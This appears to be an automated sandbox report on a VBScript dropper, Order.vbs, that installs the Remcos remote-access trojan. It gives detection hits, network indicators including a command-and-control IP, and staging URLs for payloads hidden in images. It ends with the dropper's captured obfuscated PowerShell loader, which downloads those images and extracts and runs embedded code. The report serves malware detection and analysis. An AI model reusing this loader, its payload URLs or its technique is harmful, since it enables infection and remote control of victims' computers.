Windows Analysis Report
Order.vbs

AI detected suspicious sample

Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3506159201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_0042B1E6 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

8_2_0042B1E6

Source: RegAsm.exe

Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.161.161:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:49789 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004081F9 FindFirstFileA,FindClose,FindNextFileA,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	8_2_004081F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004072E5 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_004072E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00407733 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_00407733
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00414795 FindFirstFileW,FindNextFileW,RemoveDirectoryW,FindClose,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,	8_2_00414795
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00440A59 FindFirstFileExA,	8_2_00440A59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00404CF3 FindFirstFileW,FindNextFileW,	8_2_00404CF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00405C8E __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	8_2_00405C8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00407FDE FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	8_2_00407FDE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_0040511A SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

8_2_0040511A

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:49805 -> 154.216.17.141:5922
Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 185.199.108.133:443 -> 192.168.2.6:49789
Source: Network traffic	Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1 : 185.199.108.133:443 -> 192.168.2.6:49789
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE Malicious Base64 Encoded Payload In Image : 52.217.161.161:443 -> 192.168.2.6:49764

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 154.216.17.141

Source: global traffic

TCP traffic: 192.168.2.6:49805 -> 154.216.17.141:5922

Source: global traffic	HTTP traffic detected: GET /adssgfdsg/testing/downloads/img_test.jpg?144417 HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cbff8810-ace3-4466-81b1-12ba7827c90a/downloads/6b181c48-ea9d-4bf0-91bd-66321b83871e/img_test.jpg?response-content-disposition=attachment%3B%20filename%3D%22img_test.jpg%22&AWSAccessKeyId=ASIA6KOSE3BNO4DHE4VD&Signature=T6wewlQZbJQSKGkGpdqwpwnElD0%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECcaCXVzLWVhc3QtMSJHMEUCIHdpGFp%2BMWJdC40IhWJ3SSuh%2F3P9BfkWVJgGy%2F5d%2FxJrAiEA7cnRTAkYqS7IEoVvpfPhmiGIFqnW%2BTusWS1k%2B1LqRikqsAIIkP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDJ3hZc5H13DpsrVvSiqEAljj%2Feh582Kf2l0rpXwuMkBTuVn5fmjxN%2F1UiGutq1P4eK6JpawNdKFwSb8l%2FBnJ7U5ngONu60OLxfc6clZbFgjDwM4%2Binq%2BtGirnaPvueTnkbFKwYcig0YN%2BXANfigCXdSciOrBg%2BF8ITeQUmtEngmT7cfpw%2FcS7o0Ca21R7rEL4sAFd%2FQGP4LHIKW4I8PHOJS7KDTwFSdbyJh0ZlsbBUKsG6nqervFT%2BkQqDFEvcCT3UE%2Bgf5YOa2Imez9jOuySSc0y0JrDCQxV0VL5777zwENSg149ioqUwRzrSQZ5r4uHdbGlyudfflZEMvBEQk5PSM9xVer2lqAPOQ8TCemuoAB0naRMM%2Fa2bgGOp0BRtpiv1UEzqz9j23bqShE4p37bMiYIPCEIVvttSlSIWNWclxJdsdz%2FKRhdxCMY6AmnPnHOIwyQPueK%2BLYy%2FV5HlKlvGL7cX5kPi6DbUpaR6DWxL6p2AoqNVyGjtCQwiwBbff1ljXgOuGBmoyLJFZstpwAA%2FyrPqTNeLsWXeL0vsNRfQh02Nz7sQLG0XBmnN05UIwxcpj6jLvFo2Veyw%3D%3D&Expires=1729524823 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /IJEUWAESIKA/skyapb/refs/heads/main/kgpmmrd.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 185.166.143.48 185.166.143.48
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133
Source: Joe Sandbox View	IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View	ASN Name: SKHT-ASShenzhenKatherineHengTechnologyInformationCo SKHT-ASShenzhenKatherineHengTechnologyInformationCo
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: FASTLYUS FASTLYUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49812 -> 178.237.33.50:80

Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.141
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_0040F4A7 SetEvent,GetTickCount,DeleteFileW,ExitProcess,Sleep,Sleep,URLDownloadToFileW,MessageBoxW,ExitWindowsEx,LoadLibraryA,GetProcAddress,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,OpenClipboard,EmptyClipboard,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SetWindowTextW,StrToIntA,CreateThread,ShowWindow,SetForegroundWindow,ShowWindow,

Source: global traffic	HTTP traffic detected: GET /adssgfdsg/testing/downloads/img_test.jpg?144417 HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cbff8810-ace3-4466-81b1-12ba7827c90a/downloads/6b181c48-ea9d-4bf0-91bd-66321b83871e/img_test.jpg?response-content-disposition=attachment%3B%20filename%3D%22img_test.jpg%22&AWSAccessKeyId=ASIA6KOSE3BNO4DHE4VD&Signature=T6wewlQZbJQSKGkGpdqwpwnElD0%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECcaCXVzLWVhc3QtMSJHMEUCIHdpGFp%2BMWJdC40IhWJ3SSuh%2F3P9BfkWVJgGy%2F5d%2FxJrAiEA7cnRTAkYqS7IEoVvpfPhmiGIFqnW%2BTusWS1k%2B1LqRikqsAIIkP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDJ3hZc5H13DpsrVvSiqEAljj%2Feh582Kf2l0rpXwuMkBTuVn5fmjxN%2F1UiGutq1P4eK6JpawNdKFwSb8l%2FBnJ7U5ngONu60OLxfc6clZbFgjDwM4%2Binq%2BtGirnaPvueTnkbFKwYcig0YN%2BXANfigCXdSciOrBg%2BF8ITeQUmtEngmT7cfpw%2FcS7o0Ca21R7rEL4sAFd%2FQGP4LHIKW4I8PHOJS7KDTwFSdbyJh0ZlsbBUKsG6nqervFT%2BkQqDFEvcCT3UE%2Bgf5YOa2Imez9jOuySSc0y0JrDCQxV0VL5777zwENSg149ioqUwRzrSQZ5r4uHdbGlyudfflZEMvBEQk5PSM9xVer2lqAPOQ8TCemuoAB0naRMM%2Fa2bgGOp0BRtpiv1UEzqz9j23bqShE4p37bMiYIPCEIVvttSlSIWNWclxJdsdz%2FKRhdxCMY6AmnPnHOIwyQPueK%2BLYy%2FV5HlKlvGL7cX5kPi6DbUpaR6DWxL6p2AoqNVyGjtCQwiwBbff1ljXgOuGBmoyLJFZstpwAA%2FyrPqTNeLsWXeL0vsNRfQh02Nz7sQLG0XBmnN05UIwxcpj6jLvFo2Veyw%3D%3D&Expires=1729524823 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /IJEUWAESIKA/skyapb/refs/heads/main/kgpmmrd.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: svchost.exe, 0000000C.00000002.3508659507.0000011BAF400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.12.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: RegAsm.exe, 00000008.00000002.3509300667.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: RegAsm.exe, 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp(cZ
Source: RegAsm.exe, 00000008.00000002.3506159201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: RegAsm.exe, 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp6
Source: RegAsm.exe, 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpSystem32
Source: powershell.exe, 00000006.00000002.2379283237.000001F505933000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000006.00000002.2379283237.000001F500222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.2379283237.000001F504260000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.2679834341.0000028186F6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F500001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.2379283237.000001F504260000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000006.00000002.2379283237.000001F500222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.2679834341.0000028186F29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000003.00000002.2679834341.0000028186F3E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F500001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.2379283237.000001F504260000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F505256000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F50527C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000006.00000002.2379283237.000001F505256000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F50527C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;
Source: powershell.exe, 00000006.00000002.2379283237.000001F5003FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com
Source: powershell.exe, 00000006.00000002.2379283237.000001F5003FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/cbff8810-ace3-4466-81b1-12ba7827c90a/downloads/6b181c48-ea9d-
Source: powershell.exe, 00000006.00000002.2379283237.000001F500222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org
Source: powershell.exe, 00000003.00000002.2679834341.000002818745F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F500001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F5045C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F500222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417
Source: powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000C.00000003.2433659954.0000011BAF600000.00000004.00000800.00020000.00000000.sdmp, edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000006.00000002.2379283237.000001F500222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.2379283237.000001F5055F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F5045C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F505933000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000006.00000002.2379283237.000001F504026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000006.00000002.2379283237.000001F504026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/IJEUWAESIKA/skyapb/refs/heads/main/kgpmmrd.txt
Source: powershell.exe, 00000003.00000002.2679834341.000002818745F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F500001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F5045C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F500222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723
Source: powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.161.161:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:49789 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3506159201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00414D7F SystemParametersInfoW,

8_2_00414D7F

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000008.00000002.3506159201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: Process Memory Space: powershell.exe PID: 1880, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1812, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Network Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{093FF999-1EA0-4079-9525-9614C3504B74}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM